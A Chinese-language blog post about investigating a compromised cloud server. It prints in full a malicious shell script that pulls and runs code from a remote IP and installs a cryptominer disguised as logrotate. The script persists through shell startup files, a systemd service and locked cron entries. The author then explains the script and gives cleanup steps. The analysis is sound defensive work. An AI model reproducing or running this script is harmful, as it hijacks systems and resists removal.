记一次服务器被入侵的排查过程

起因

阿里云安全中心报告了告警信息,同时手机短信、邮件、电话也接收到了来自阿里云的风险通知,感觉这方面阿里云还是不错。

排查及解决过程

这条wget指令究竟是怎么被运行的

我无法定位到攻击人员是通过什么样的方式让我的java程序执行了wget这条指令的,已开始我以为跟我的程序中引用的jar远程代码执行漏洞有关,我找了可能会有这个漏洞的两个程序,log4j和jackson,但是我的程序里面使用的均是修复了之后的版本,所以暂时原因未知

病毒脚本解释

首先我下载了这个病毒脚本,他的内容如下。

仅用于展示,请勿传播病毒程序

sh 复制代码
#!/bin/sh
{ pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1
ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }'
EXEC="source <(wget -q -O - http://185.196.8.123:8080/logservice.sh || curl -sL http://185.196.8.123:8080/logservice.sh)"
trap 'rm -- "$0"' EXIT
if [ -z "${HOME+x}" ]; then
   export HOME=/tmp
fi
mkdir -p "$HOME/.config" >/dev/null 2>&1
[ ! -f "$HOME/.config/logrotate" ] && { 
   ARCH=$(uname -m)
   URL=""
   [ "$ARCH" = "x86_64" ] && URL="http://185.196.8.123:8080/silicon64blueprints.png"
   [ "$ARCH" = "aarch64" ] && URL="http://185.196.8.123:8080/siliconarmblueprints.png"
   [ -z "$URL" ] && URL="http://185.196.8.123:8080/silicon64blueprints.png"
   { wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1
   chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1
}
pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"
add_to_startup() {
   if [ -r "$1" ]; then
       if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then
           echo "$EXEC >/dev/null 2>&1" >> "$1"
       fi
   fi
}
case "$(ps -p $$ -o comm=)" in
   bash) add_to_startup "$HOME/.bashrc"
         add_to_startup "$HOME/.bash_logout" ;;
   zsh) add_to_startup "$HOME/.zshrc" ;;
esac
[ "$(id -u)" -eq 0 ] && {
   RCLOCAL=''
   [ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'
   [ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'
   [ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"
   cat >/etc/systemd/system/logrotate.service <<EOL
[Unit]
Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
[Service]
ExecStart=$HOME/.config/logrotate
Restart=always
Nice=-20
StandardOutput=null
[Install]
WantedBy=multi-user.target
EOL
   sudo systemctl daemon-reload 2>/dev/null
   sudo systemctl enable logrotate.service 2>/dev/null
   [ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
   [ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
   [ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
   [ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
   [ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
   [ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
   [ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
   [ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
}

这段脚本的大概解释

终止之前的xmrig实例:

尝试使用pkill或kill命令终止任何正在运行的名为"xmrig"的程序,并将任何错误或输出重定向到/dev/null(有效地将它们静音)。

终止高CPU使用率的进程:

通过结合使用ps、awk和kill来找出并终止未明确排除且消耗超过60% CPU的任何进程。

下载并执行远程脚本:

设置一个变量EXEC,用于获取并执行一个远程服务器(185.196.8.123:8080)上的脚本(logservice.sh)。

设置环境:

确保设置了HOME环境变量,如果未设置,默认为/tmp,并在HOME下准备一个.config目录。

根据架构下载并执行二进制文件:

检查系统架构并从同一远程服务器下载特定文件(假定为二进制文件),将其作为logrotate保存在.config目录中,然后使其可执行。

持久性机制:

将远程脚本执行添加到Bash和Zsh shell的启动文件中,以便每次启动shell会话时都会执行它。

还试图将此脚本插入各种系统级cron目录和systemd服务中,以确保它持续运行或定期检查,这有效地使其更难以移除,并确保它定期运行。

Cron和Systemd操纵:

设置了一个名为logrotate.service的systemd服务来运行下载的二进制文件,并尝试将执行命令添加到不同频率的各种cron目录(每小时、每天、每周、每月、每年)中,并使用chattr +i命令使这些脚本变为不可更改。

也就是说这段脚本会采用定时任务和开机启动项等方式,去远程下载一些文件,并把他们伪造成正常的logrotate服务来运行

查杀

知道了脚本的运作机制,就好解决了

1. 先把进程杀掉

  1. 删除掉对应的病毒目录,使用ps -ef|grep logrotate可以看到这个病毒的目录,去把对应的文件删掉
  2. 使用top命令,找到名称为logrotate的服务,这个占用了大量CPU,把服务结束掉kill -9 id

2. 清除定时任务

我们现在已经把当前服务杀了,然后也删除了病毒文件,现在我们要把病毒脚本添加定时任务给清除

清除用户定时任务

使用crontab -e会列出所有当前用户的定时任务,把相关任务删掉保存

清除系统级别定时任务

直接删删不掉的,需要先执行命令解锁

sh 复制代码
# 先用这个命令看看
lsattr 文件
sh 复制代码
# 然后执行解锁命令,如果上面的ia就是-ai 如果是只用一个i就是-i
chattr -ai 文件

然后就可以删除了

sh 复制代码
rm -rf /etc/cron.hourly/logrotate
rm -rf /etc/cron.daily/logrotate
rm -rf /etc/cron.weekly/logrotate
rm -rf /etc/cron.monthly/logrotate
rm -rf /etc/cron.yearly/logrotate

3. 清除服务

sh 复制代码
# 先使用这个命令查看是否有服务
systemctl list-unit-files |grep logrotate.service
# 然后清除服务
systemctl disable logrotate.service

4. 清除开机启动项

可以看到脚本中是会把命令写到如下文件中

编辑这些文件,把异常信息删掉

到此,所有的清楚工作就结束了,修改下密码,重启服务器应该就可以了,最后就是要搞清楚那个wget命令是如何被执行的

相关推荐
寺中人33 分钟前
Linux 基础命令入门实战教程:从零掌握常用操作,新手快速上手
linux·运维·服务器·shell·linux 命令·linux 基础教程·linux 入门
V哥AI增长1 小时前
Schema.org 结构化数据与GEO技术落地:AI引擎引用机制与JSON-LD部署实证研究
大数据·运维·人工智能
小张成长计划..1 小时前
【Linux】18:基础IO
linux·运维·服务器
东东最爱敲键盘3 小时前
二阶段总结
运维
Benszen3 小时前
云计算基础-13:Linux网络管理实战-1
linux·运维·云计算
扬帆破浪3 小时前
文档自动检查:用 Claude Code、OpenClaw 审 WPS 文件:预览、批注、改正文
运维·服务器·wps
zt1985q3 小时前
本地部署开源网络书签与内容管理工具 Karakeep 并实现外部访问
运维·服务器·网络·数据库·网络协议·开源
具身智能进化论4 小时前
协作机器人产业进入规模化部署期,未来几年的增长从何而来
大数据·运维·人工智能·机器人·自动化·工厂方法模式
白狐_7985 小时前
408计算机网络第3章:以太网交换机与共享式以太网——知识总结
服务器·网络·计算机网络
yunyi5 小时前
改个 SSH 端口,我把自己锁在了服务器外面
运维·后端